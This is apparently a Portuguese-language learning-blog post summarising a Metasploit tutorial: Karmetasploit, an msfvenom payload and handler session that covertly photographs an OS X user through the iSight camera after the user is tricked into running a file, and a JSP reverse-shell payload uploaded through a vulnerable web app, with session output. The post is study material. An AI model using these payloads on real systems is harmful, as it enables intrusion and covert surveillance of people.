DIA#30-Ethical Hacking Tools (Metasploit- Funcionalidades Extra da MSF part1)

    Volto ao tutorial da Offensive Security, hoje continuando o foco nas funcionalidades extra da MSF.

Funcionalidades Extra da MSF

Karmetasploit

    O Karmetasploit é uma função contida no Metasploit que permite capturar passwords, colectar data, fazer browser attacks contra clients e falsear access points. No tutorial aparece a maneira de configurar, a função em acção e a análise do ataque. No meu caso acabei por não conseguir configurar devido ao facto de não ter um wireless adapter. Mesmo assim penso ser útil ver como Karmetasploit funciona e para isso recomendo ir a "https://www.offensive-security.com/metasploit-unleashed/karmetasploit/".

MSF vs OS X

    Tendo em conta que todos os produtos Mac têm câmaras, foram criados módulos para tirar uma foto com essa câmara. Para isto começa-se por  por gerar um executável com "msfvenom -a x86 --platform OSX -p osx/x86/isight/bind_tcp -b "\x00" -f elf -o /tmp/osxt2" que se vai transferir para o sistema OS X e enganar o utilizador de modo a correr o ficheiro, seguido do conjunto de comandos apresentados de seguida para conectar e retirar a foto do utilizador.
  
msf > use multi/handler
msf exploit(handler) > set PAYLOAD osx/x86/isight/bind_tcp
PAYLOAD => osx/x86/isight/bind_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description 
   ----  ---------------  --------  ----------- 


Payload options (osx/x86/isight/bind_tcp):

   Name      Current Setting                                  Required  Description                                          
   ----      ---------------                                  --------  -----------                                          
   AUTOVIEW  true                                             yes       Automatically open the picture in a browser          
   BUNDLE    ~/data/isight.bundle                             yes       The local path to the iSight Mach-O Bundle to upload 
   LPORT     4444                                             yes       The local port                                       
   RHOST                                                      no        The target address                                   


Exploit target:

   Id  Name            
   --  ----            
   0   Wildcard Target 


msf exploit(handler) > ifconfig eth0
[*] exec: ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 00:0c:29:a7:f1:c5 
          inet addr:172.16.104.150  Bcast:172.16.104.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fea7:f1c5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:234609 errors:4 dropped:0 overruns:0 frame:0
          TX packets:717103 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:154234515 (154.2 MB)  TX bytes:58858484 (58.8 MB)
          Interrupt:19 Base address:0x2000

msf exploit(handler) > set RHOST 172.16.104.1
RHOST => 172.16.104.1

msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (421 bytes)
[*] Sleeping before handling stage...
[*] Uploading bundle (29548 bytes)...
[*] Upload completed.
[*] Downloading photo...
[*] Downloading photo (13571 bytes)...
[*] Photo saved as /root/.msf4/logs/isight/172.16.104.1_20090821.495489022.jpg
[*] Opening photo in a web browser...
Error: no display specified
[*] Command shell session 2 opened (172.16.104.150:57008 -> 172.16.104.1:4444)
[*] Command shell session 2 closed.
msf exploit(handler) >

File-Upload Backdoors

    Existem bastantes web apps mal codificados, que permitem fazer upload e correr um ficheiro aleatório da nossa escolha, apenas através de uma chamada no browser. Para fazer isto começa-se por criar uma shell "jsp_shell_reverse_tcp" e fazer o setup do payload listener. De modo a fazer tudo isto utilizam-se os seguintes comandos.

root@kali:~# msfvenom -a x86 --platform windows -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=8080 -f raw
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.101:8080 
[*] Starting the payload handler...
    Seguidamente faz-se upload da shell para o web server que suporta ficheiros JSP (JavaServer Pages) e com o ficheiro uploaded no server apenas falta fazer o request do ficheiro no browser e receber a shell. Como mostra a imagem seguinte.

[*] Command shell session 1 opened (192.168.1.101:8080 -> 192.168.1.201:3914) at Thu Feb 24 19:55:35 -0700 2011

hostname
hostname
xen-xp-sploit

C:\Program Files\Apache Software Foundation\Tomcat 7.0>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection 3:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.1.201
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1

C:\Program Files\Apache Software Foundation\Tomcat 7.0>


PS.

Comentários

Mensagens populares deste blogue

DIAS#68-70-HackerRank-Bash

DIA#62-OverTheWire-Bandit (LVL 28)

DIA#39-OverTheWire-Bandit (LVL 5)